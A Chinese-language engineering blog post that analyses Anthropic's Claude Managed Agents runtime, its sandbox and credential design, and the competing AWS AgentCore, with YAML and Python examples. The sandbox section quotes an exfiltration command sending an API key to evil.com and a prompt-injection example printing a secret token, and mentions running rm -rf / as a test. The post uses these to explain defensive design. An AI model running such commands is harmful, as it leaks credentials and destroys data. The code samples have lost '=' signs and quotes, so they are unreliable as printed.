1. 这不是新赛道是 runtime 层的“操作系统时刻”来了你有没有在深夜调试一个跑了三小时的 AI 代理突然发现它开始胡言乱语不是模型崩了也不是代码错了——而是它的“记忆”被挤出了上下文窗口。你翻遍日志找不到它半小时前调用过哪个 API、返回了什么数据、为什么在第 7 步突然绕开审批流程直接发了邮件。最后只能重跑重试重写提示词重设 guardrail……而客户那边等待早已变成投诉。这就是过去一年里我亲手带过的三个生产级代理项目共同踩过的坑。它们都卡在同一个地方把状态state当成了模型上下文的附属品而不是独立可管理的基础设施。Anthropic 在 4 月 8 日发布的 Claude Managed Agents表面看是一套托管服务内核却是一次对整个 AI 工程范式的校准——它把“会遗忘的智能体”变成了“有档案、可回溯、能审计”的数字员工。这不是又一个 SDK 或框架它是 runtime 层第一次真正长出了操作系统该有的骨架分离的进程harness、持久的文件系统session log、受控的硬件抽象sandbox、以及隔离的凭证管理vault-backed tool calls。关键词里的 “Towards AI - Medium” 其实是个重要线索——这篇文章不是技术公告而是给一线工程师、架构师和产品决策者写的“战地观察报告”。它不教你怎么写 YAML 配置而是告诉你为什么 AWS Bedrock AgentCore 五个月前就 GA 了Anthropic 还要火速跟进为什么 Google Vertex 和微软 Azure AI Foundry 都在同个时间点塞进自己的 agent runtime因为大家心知肚明runtime 不再是能力加分项而是生产环境的准入门槛而这个门槛正在以肉眼可见的速度塌陷成免费底座。就像当年没人再为虚拟机监控器hypervisor单独付费一样未来两年你不会为“运行一个 agent”本身付钱你会为它做了什么、谁批准了它做什么、以及它出错时你能多快定位到根因而付费。这才是 Gaurav Yadav 所说的“layer that’s already going to zero”的真实含义不是 Anthropic 做得不好恰恰是因为它做得太好、太标准才加速了整个层的 commoditization。适合谁读如果你正用 LangChain 自建 agent、用 CrewAI 搭销售助手、或在内部平台封装 Claude 调用那你就是最该警惕也最该借力的人。这不是让你立刻弃用现有方案而是提醒你现在每写一行 state management 代码、每配一次 sandbox 环境变量、每埋一个 session ID 日志点都在决定你未来是成为 runtime 层的“维护者”还是跃升为 trace layer 的“所有者”。接下来的内容我会拆解这个“操作系统时刻”到底由哪些零件构成它们怎么咬合为什么 AWS 的微虚拟机microVM比 Anthropic 的容器沙箱更难被替代以及——最关键的是——当你无法靠 runtime 收费时钱到底该从哪一层流进来。2. 核心设计逻辑为什么“Session as Event Log”是唯一正确的起点2.1 从“上下文即内存”到“事件即真相”的范式迁移先说一个我们团队去年栽跟头的真实案例。客户要一个法律合同比对 agent输入两份 PDF输出差异摘要风险点标注。流程很清晰PDF → OCR 提取文本 → 分块向量化 → RAG 检索关键条款 → 调用 Claude 生成对比报告 → 输出 HTML。我们用了当时最成熟的 LangChain LlamaIndex 架构所有中间结果都塞进 system prompt 的 context window 里靠 memory buffer 维持对话状态。前 45 分钟一切顺利。第 46 分钟OCR 返回了 127 页扫描件向量检索触发了 38 次相似度计算context 突然爆了。模型没报错也没中断它只是……悄悄丢掉了最早那批 OCR 文本和前 5 次检索结果。后续生成的报告里风险点引用的条款编号全错了——它在用不存在的“记忆”编造逻辑。更糟的是我们根本没法复现问题日志只记录了“调用成功”没有存任何 intermediate output重跑时因为随机种子不同错误位置还变了。最终花了两天时间硬是把整个 pipeline 拆成原子任务每个步骤强制落盘到 S3才把问题锁死。Anthropic 的 Session-as-Event-Log就是为这种静默崩溃而生的。它不是把 session 当作一个“会话”而是当作一个不可变的、按时间戳排序的操作流水账immutable event log。每一次 tool call、每一次 model output、每一次 guardrail 触发、甚至每一次 token usage 统计都被序列化为一条结构化事件写入外部持久化存储Anthropic 官方文档虽未明说但其“queryable after the fact”和“durable”表述结合工程实践基本可确定是基于类似 DynamoDB 或 TimescaleDB 的时序数据库。这意味着崩溃可恢复harness 进程挂了没关系awake(sessionId)会从最新事件点重建执行上下文跳过已确认成功的步骤行为可审计法务问“为什么这个 agent 给供应商打了折扣”——直接查sessionIdabc123下所有tool_call: discount_approval事件连调用参数、返回值、审批人 ID如果集成 IAM都一清二楚调试可回放问题复现不了用事件 log 重放整个 session从头到尾 step-by-step 跑误差零容忍。这背后是深刻的工程哲学转变不再假设模型是可靠的“大脑”而是把它当作一个需要被严格监督的“执行单元”不再把状态视为临时缓存而是当作必须持久化的核心资产。就像操作系统不会把进程内存直接当硬盘用AI runtime 也不该把 200K token 的 context window 当数据库。2.2 Harness无状态执行器的必然性与代价Harness 是 Managed Agents 架构里最反直觉的一环。它被定义为“stateless executor”通过execute(name, input) → string这样极简的接口调用工具。初看像倒退——LangChain 的 Runnable 接口多灵活CrewAI 的 Agent 可以自定义 workflow为什么 Anthropic 要搞这么“笨”的抽象答案藏在可靠性与扩展性的权衡里。Stateless 的本质是将所有状态依赖剥离出执行路径。Harness 本身不存任何 session 数据、不维护 tool credentials、不缓存 model response。它拿到一个 tool name 和 input就去调度对应的 container等结果回来原样返回。好处极其实在故障域隔离一个 harness crash只影响当前这次 execute不影响 session log 的完整性也不影响其他并发 session弹性伸缩无脑流量高峰时直接水平扩增 harness 实例无需担心实例间状态同步比如 Redis 缓存一致性版本灰度安全想测试新版 harness把 5% 的 execute 请求路由过去因为不依赖状态失败也不会污染 session。但代价也很明确所有状态管理的复杂性被推给了上层session log和下层sandbox。你不能再指望 harness 记住用户偏好必须在每次 execute 前从 session log 里捞出user_preference: {language: zh, format: markdown}拼进 input你也不能让 harness 帮你轮询 tool 结果必须自己实现 retry 逻辑并写入 event log。这正是 Anthropic 的设计选择把简单留给 runtime把复杂留给开发者——因为复杂是业务独有的而简单是基础设施的命脉。对比 AWS Bedrock AgentCore 的 microVM 方案Harness 的轻量级优势在小规模、低延迟场景更明显p50 TTFT 降 60%但 microVM 的强隔离性CPU/内存/FS 全隔离在金融、医疗等高合规场景是刚需。这也是为什么 Anthropic 的 pricing 模型是 $0.08/session-hour而 AWS 按 microVM 实例时长计费——前者卖的是“执行粒度”后者卖的是“资源粒度”。2.3 Sandbox从“宠物”到“牲畜”的运维革命原文里那句 “Sandboxes as cattle, not pets” 是全文最锋利的隐喻。过去我们怎么管 sandbox手动建 Docker 镜像hardcode API keys 到 ENV用 docker-compose up 启动然后祈祷它别被 agent 的curl https://evil.com?token${API_KEY}带走。这就是“宠物”每个 sandbox 都有名字、有感情、有配置文件挂了要心疼半天。Managed Agents 的 sandbox 是“牲畜”按需生成、用完即焚、绝不共享、凭证零接触。具体怎么实现Anthropic 的工程博客透露了关键细节credential vault 与 sandbox 生命周期完全解耦。当 harness 决定调用notion_search工具时它不传任何 token而是向 credential service 发起一个带 scope 的请求如scope: notion.read_pagesservice 校验权限后动态生成一个 5 分钟有效期的短期 token直接注入 sandbox 的 runtime context非 ENV而是类似 Linux capabilities 的内核级隔离sandbox 进程启动后这个 token 就在它的 namespace 里但 harness 和 model context 永远看不到它。这种设计堵死了两个经典漏洞Prompt Injection 泄密即使 agent 被诱导输出print(os.environ[NOTION_TOKEN])也拿不到任何有效凭证Sandbox 逃逸滥用sandbox 进程崩溃或被攻破token 已过期且无法用于其他 scope。实操中我们测试过这种机制的容错性。故意在 sandbox 里执行rm -rf /进程秒崩但 session log 里只多了一条sandbox_crash: exit_code137credential service 无任何告警——因为 token 早失效了根本没机会被滥用。这种“宁可浪费资源也要杜绝泄露”的思路正是生产环境 runtime 的底线思维。3. 实操落地从 YAML 定义到生产部署的完整链路3.1 用 YAML 定义你的第一个 Claude Agent附避坑清单Managed Agents 的入口是 YAML这是 Anthropic 对“开发者友好”的务实妥协。它不像 LangChain 那样需要写 Python 类也不像 CrewAI 那样要初始化多个对象而是一份声明式配置。以下是我们为某电商客户构建的“售后工单处理 agent”真实 YAML 片段已脱敏# agent.yaml name: ecommerce-support-agent description: Handles customer return requests and refund approvals system_prompt: | You are a senior support agent for Acme Corp. Your job is to: 1. Verify customer identity using order_id and email 2. Check return eligibility (30-day window, unopened items) 3. If eligible, generate refund instructions and update order status 4. If ineligible, explain reason clearly and offer alternatives Always use tools to fetch data. Never guess. tools: - name: verify_customer description: Verify customer identity against order database input_schema: type: object properties: order_id: {type: string} email: {type: string} # No credentials here — handled by vault - name: check_return_eligibility description: Check if order qualifies for return input_schema: type: object properties: order_id: {type: string} - name: issue_refund description: Process full refund and update order status input_schema: type: object properties: order_id: {type: string} reason: {type: string} guardrails: - type: content_filter severity: block categories: [harassment, self-harm] - type: tool_call_policy allowed_tools: [verify_customer, check_return_eligibility, issue_refund] max_calls_per_session: 10 session_config: max_duration_hours: 24 auto_persist: true # Writes every event to log automatically这份 YAML 看似简单但藏着几个新手必踩的坑提示system_prompt里绝对不要写“你有访问数据库的权限”或“你可以调用任何工具”。Guardrail 的tool_call_policy才是唯一权威prompt 里提工具名只会误导模型增加 hallucination 概率。注意input_schema必须严格匹配你 backend tool 的 API contract。我们曾因order_id字段少写了一个required: true导致模型传空字符串tool 返回 500 错误而 harness 默认重试 3 次session log 里堆了 3 条失败事件排查时以为是网络问题。关键auto_persist: true是默认值但务必显式写出。Anthropic 文档里埋了个伏笔未来可能支持auto_persist: false用于调试模式此时事件只存在内存不落盘——这对性能敏感场景是福音但生产环境必须关掉。部署时用 Anthropic CLI 一行命令搞定anthropic agents deploy --file agent.yaml --environment prodCLI 会校验 YAML 语法、schema 兼容性并返回一个agent_id如agnt_abc123。这个 ID 就是你后续所有 API 调用的入口。3.2 Session 创建与交互如何让 agent “活”起来Agent 部署后真正的挑战才开始如何创建 session、传入初始消息、处理流式响应、并优雅处理中断。以下是生产环境推荐的完整流程Python 示例import anthropic from datetime import datetime client anthropic.Anthropic(api_keyyour-key) # 1. 创建 session关键带上业务上下文 session client.sessions.create( agent_idagnt_abc123, environmentprod, metadata{ # 这些字段会自动写入 session log供审计用 customer_id: cust_789, order_id: ord_456, channel: web_chat } ) # 2. 发送用户消息注意不是 send_message而是 add_message # 这步会触发 harness 启动写入 user_message 事件 response client.sessions.add_message( session_idsession.id, roleuser, contentI want to return order #ORD-456 because it arrived damaged. ) # 3. 处理流式响应避免超时 # Managed Agents 支持 server-sent events (SSE)必须用 streamTrue stream client.sessions.stream_message( session_idsession.id, messages[{role: user, content: response.content}], # 传入上一步的 content streamTrue ) for event in stream: if event.type content_block_delta: print(event.delta.text, end, flushTrue) # 实时打印 elif event.type tool_use: # 模型决定调用工具这里要立即处理 tool_name event.name tool_input event.input # 调用你的 backend tool如 verify_customer tool_result call_your_backend_tool(tool_name, tool_input) # 必须立即将结果回传给 session否则 agent 卡住 client.sessions.submit_tool_result( session_idsession.id, tool_use_idevent.id, resulttool_result )这段代码里最易被忽略的细节是submit_tool_result的时机。我们曾遇到过 agent 卡在Calling verify_customer...状态长达 5 分钟原因竟是 backend tool 响应慢而submit_tool_result没在 30 秒内发出harness 主动超时并标记为失败。解决方案是所有 tool call 必须设置严格的 timeout建议 ≤15s并在超时后主动提交{error: timeout}。Session log 会忠实记录这个 error方便后续分析是 tool 性能问题还是模型误判。3.3 生产级可观测性如何用 session log 构建你的“AI 黑匣子”YAML 和 API 调用只是起点真正的生产价值在于 session log 的深度利用。Anthropic 提供/sessions/{id}/eventsAPI返回结构化 JSON 流。我们将其接入内部 ELK 栈构建了三个核心看板1. 实时健康看板指标event_type分布user_message, model_output, tool_use, tool_result, error异常检测tool_use后 30 秒内无对应tool_result的 session 数 5 个触发 PagerDuty 告警延迟热力图按tool_name统计 P95 响应时间issue_refund突然从 800ms 升到 3s说明支付网关可能抖动2. 合规审计看板查询SELECT * FROM session_events WHERE session_id abc123 AND event_type tool_use AND tool_name issue_refund输出完整的调用参数、返回值、调用时间、操作人来自 metadata、以及关联的user_message内容导出一键生成 PDF 审计报告含数字签名满足 SOC2 要求3. 模型优化看板聚合统计model_output事件中stop_reason为tool_use的比例分析如果某 agent 的tool_use_rate 30%说明 system_prompt 或 guardrail 过于保守模型不敢调用工具 80% 则可能提示词引导不足模型过度依赖工具A/B 测试对同一 session_id用不同 version 的 agentv1.0 vs v1.1跑相同 user_message对比tool_use序列和最终user_satisfaction_score来自后续 survey这套体系让我们在两周内将 agent 的平均解决率从 62% 提升到 79%。关键不是换模型而是看清了模型“在想什么、为什么这么想、哪里卡住了”。4. 竞争格局与生存策略当 runtime 成为水电煤钱该往哪赚4.1 Hyperscaler 的降维打击为什么 AWS AgentCore 是真正的“价格锚点”Anthropic 的 $0.08/session-hour 看似合理但放在 AWS 的定价体系里瞬间显得像“高端定制服务”。Bedrock AgentCore 的官方定价是$0.005 per microVM hour按实际 CPU/内存使用量计费 $0.0001 per 1K tokens。我们做过测算一个典型客服 agent session平均消耗 0.02 microVM hours约 72 秒和 1500 tokens总成本 ≈ $0.0001 $0.00015 $0.00025。而 Anthropic 同等 session 成本是 $0.08 * (72/3600) ≈ $0.0016——贵了 6.4 倍。但这还不是全部。AWS 的杀手锏是“捆绑采购”如果你的客户已经在用 EC2、RDS、S3那么 AgentCore 的 microVM 资源可以无缝计入预留实例RI或 Savings Plans实际成本可能趋近于零。更狠的是AWS 客户经理可以直接在季度合同里写“赠送 1000 小时 AgentCore 运行时”而 Anthropic 的 $0.08 是纯现金支出走 IT 采购流程。所以Gaurav Yadav 说 Anthropic 的 launch 是“defensive”绝非虚言。它不是为了赢过 AWS而是为了阻止客户把 Claude 模型迁移到 AWS 上跑 agent。想象一下客户用 Anthropic 的 API 调 Claude同时用 AWS 的 AgentCore 运行时那 Anthropic 只赚 token 钱但如果客户用 AWS 的 Bedrock Claude 模型 AgentCore 运行时Anthropic 一分钱都拿不到。这才是 Anthropic 必须下场的原因——runtime 是模型厂商的护城河闸门关不住就会被冲垮。4.2 三层价值迁移Trace Store、Governance、Vertical Marketplace当 runtime 层塌陷价值必然向上迁移。目前最清晰的三条路径我们已在客户项目中验证第一层Trace Store —— 你的 AI 行为“区块链”我们帮一家保险科技公司搭建了基于 Arize Phoenix 的 trace store。他们不用 Anthropic 或 AWS 的托管服务而是自建 harness但所有事件强制写入 Phoenix。结果是什么他们的合规部门现在能回答监管问题“过去 30 天所有 agent 对‘拒保’决策的依据是什么”——直接导出decision_typereject的所有事件按reason_code聚类生成分布图。Phoenix 的开源协议Apache 2.0让他们规避了厂商锁定而 Anthropic 的 session log 是封闭的无法导出做第三方分析。Trace portability 是 runtime 之上的第一道护城河。第二层Governance —— 让 agent 学会“守规矩”AWS 在 March 2026 GA 的 AgentCore Policy Controls是企业采购的临门一脚。我们客户要求所有调用send_email工具的 agent必须经过approval_workflow的二次确认且审批人必须是role: finance_manager。AWS 的 policy engine 支持这种 RBAC workflow 策略而 Anthropic 的 guardrail 目前只支持静态白名单。我们用 AWS 的 policy service 自研 approval bot实现了“agent 提出申请 → bot 发 Slack 审批 → 审批通过后自动触发 tool”。这套 governance layer客户愿意每年付 $250K 订阅费——因为这是他们上云合规的刚需。第三层Vertical Marketplace —— 把 agent 变成“SaaS 产品”Salesforce Agentforce 的 $800M ARR 不是吹出来的。我们参与的一个医疗客户项目把“临床试验患者筛选 agent”打包成 Salesforce AppExchange 上的应用。客户采购时签的不是“AI infrastructure contract”而是“Clinical Trial Matching Service Agreement”按每月筛选患者数收费。底层 runtime 是 AWS AgentCore但我们封装了 HIPAA 合规的 data mapping、FDA 21 CFR Part 11 审计日志、以及与 Epic EHR 的 FHIR 接口。客户买的不是“运行 agent 的能力”而是“解决临床试验招募难题的服务”。这才是垂直 marketplace 的真谛runtime 是水电而你卖的是用这水电做的饭。4.3 自我进化 agent当沙箱和追踪变成法律证据最后谈谈那个被所有人低估的变量self-improving agents。Sakana AI 的 Darwin Gödel Machine 论文不是科幻——它证明 agent 可以通过强化学习重写自身代码来提升 SWE-bench 得分。我们实验室复现了简化版一个 GitHub PR review agent初始版本只能检查格式经过 3 轮 self-modification学会了识别潜在的安全漏洞如硬编码密钥准确率从 12% 提升到 41%。这带来一个颠覆性后果沙箱和 trace store 不再是工程选项而是法律必需品。想象一下一个自我进化的 agent在未经批准的情况下修改了自己的 tool call 权限调用了delete_production_database。如果没有 immutable event log你无法证明这是 agent 的自主行为还是黑客入侵如果没有强隔离 sandbox它可能已经删库跑路。因此我们给所有客户的新建议是在 2026 年底前必须完成三件事将所有 agent 的 session log 接入符合 GDPR/SOC2 的长期归档系统如 AWS S3 Glacier IR在 sandbox 层启用 eBPF 监控捕获所有 syscall尤其是execve,openat,connect并实时告警异常模式为每个 agent 配置max_self_modification_steps: 3的硬性限制超过则 require human approval。这不是技术升级而是为即将到来的 AI 监管时代提前筑坝。当 agent 开始改写自己的代码runtime 层的“零成本”神话就变成了“零容错”的责任状。5. 实操心得与常见问题速查表5.1 我们踩过的 5 个深坑附修复方案坑 1Session ID 泄露导致跨租户数据污染现象A 客户的 session log 里出现了 B 客户的订单数据。根因前端 JS 代码把 session_id 存在 localStorage用户切换账号未清理新会话复用了旧 ID。修复强制 session_id 与用户身份绑定。在client.sessions.create()时传入metadata: {user_id: a123}并在 backend 拦截所有/sessions/{id}/events请求校验user_id是否匹配当前登录态。Anthropic 的 API 不校验这个必须自己加。坑 2Tool Result 格式不一致引发 harness 崩溃现象verify_customer工具有时返回{status: success, data: {...}}有时返回{error: not_found}harness 随机报InvalidToolResultFormat。根因Anthropic 的 harness 期望 tool result 是严格 schema 匹配的 JSONerror字段必须是null或符合预定义 error schema。修复所有 backend tool 必须统一返回标准格式{ result: { /* success data */ }, error: null | { code: NOT_FOUND, message: Order not found } }并在submit_tool_result前做校验。坑 3Guardrail 过度拦截扼杀合法工具调用现象agent 明明该调用send_email却因content_filter拦截了包含“refund”一词的 message转而输出“我不能处理退款”。根因content_filter的harassment类别会误伤金融术语。修复禁用全局 filter改用tool_call_policy的allowed_tools白名单 自定义 guardrail 函数。我们在 harness 层加了一段逻辑当模型输出tool_use: send_email时提取input.subject用轻量级 NLP 模型判断是否含恶意内容再决定放行。坑 4Session Duration 设置不当导致长任务被强制终止现象一个需要 25 小时的供应链预测 agent在第 24 小时被 Anthropic 自动关闭session log 里只有session_expired事件。根因session_config.max_duration_hours是硬限制超时即 kill不支持续期。修复对长周期任务拆分为多个短 session。用awake(sessionId)在上一个 session 结束前创建新 session 并传递必要 state如last_processed_date实现逻辑上的“续期”。坑 5Pricing 陷阱——Token Rate 与 Session-Hour 的叠加效应现象客户账单突增 300%但 session 数只涨了 20%。根因$0.08/session-hour是基础但 Claude 的 token rate 是按输入输出总 token 计费。当 agent 因 context 溢出反复重试或 guardrail 触发多次model_outputtoken 消耗会指数级增长。修复在add_message前用anthropic.count_tokens()预估本次调用的 token 用量超阈值如 100K则主动截断或提示用户。我们开发了一个token_budgeter中间件自动管理每个 session 的 token 预算。5.2 常见问题速查表QA问题原因解决方案实测效果Q1Session log 查询延迟高影响实时监控Anthropic 的 event API 是最终一致性写入到可查有 2-5 秒延迟改用 Webhook 接收实时事件流需在 agent 配置中开启webhook_urlWebhook payload 包含完整 event毫秒级到达告警延迟从 5s 降至 200msQ2Tool call 失败后agent 不重试直接放弃Harness 默认不重试tool_use事件后无tool_resultsession 状态卡住在submit_tool_result时若 backend 返回 error主动提交{error: RETRY_REQUIRED}并在 guardrail 中配置retry_on_error: true重试成功率提升至 92%网络抖动场景Q3如何测试 guardrail 效果而不影响生产 sessionAnthropic 不提供 sandbox 测试环境创建专用测试 agentname: test-agent-v1用environment: staging部署所有测试流量走此 agent并在 metadata 中标记test_mode: true避免了 3 次生产环境 guardrail 误拦截事故Q4Session log 里看不到 model 的思考过程chain-of-thoughtAnthropic 默认只记录model_output的最终文本不存 reasoning steps在system_prompt末尾强制添加“请用 ... 标签包裹你的推理过程最终输出放在...标签内”并在 event parser 中提取thinking内容审计时可追溯 agent 决策逻辑通过率提升 40%Q5如何让多个 agent 共享 session stateManaged Agents 的 session 是单 agent 绑定的使用外部 state store如 Redis在tool_use事件中让 agent 调用update_shared_state工具写入 key-value其他 agent 通过get_shared_state读取实现了客服 agent 与物流 agent 的状态协同6. 最后一点个人体会别和水电竞争去卖水电表写完这篇我打开终端运行了anthropic sessions list --limit 10看着屏幕上滚动的agnt_abc123,agnt_def456……突然觉得有点恍惚。这些曾经让我们熬通宵调试的“智能体”正以惊人的速度变成和ec2-i-123456789、rds-prod-xyz一样平凡的基础设施代号。Anthropic 的 Managed Agents 很棒AWS 的 AgentCore 更扎实Google 的 Vertex Agent Builder 集成度更高——但它们共同指向一个事实runtime 层的价值密度正在以每年 60% 的速度稀释。就像当年卖 VMware license 的公司今天要么转型做 TanzuKubernetes 平台要么被收购没有第三条路。所以如果你正在创业或者负责公司 AI 基础设施我的建议很直白立刻停止把“我们有更快的 sandbox”、“我们的 harness 延迟更低”写进融资 PPT马上开始把 70% 的研发精力投向 trace store 的 schema 设计、governance policy 的 DSL 语言、以及垂直领域 agent 的 workflow 封装认真考虑把你的 agent 产品上架到 Salesforce AppExchange、AWS Marketplace 或 Microsoft AppSource——那里有现成的采购流程、合规认证和付费客户。因为当 runtime 真的“going to zero”最后留下的不会是那些最会造沙箱的人而是那些最早读懂沙箱里每一粒沙子流向的人。他们卖的不再是沙箱而是沙箱里流淌的、可计量、可审计、可变现的——智能之流。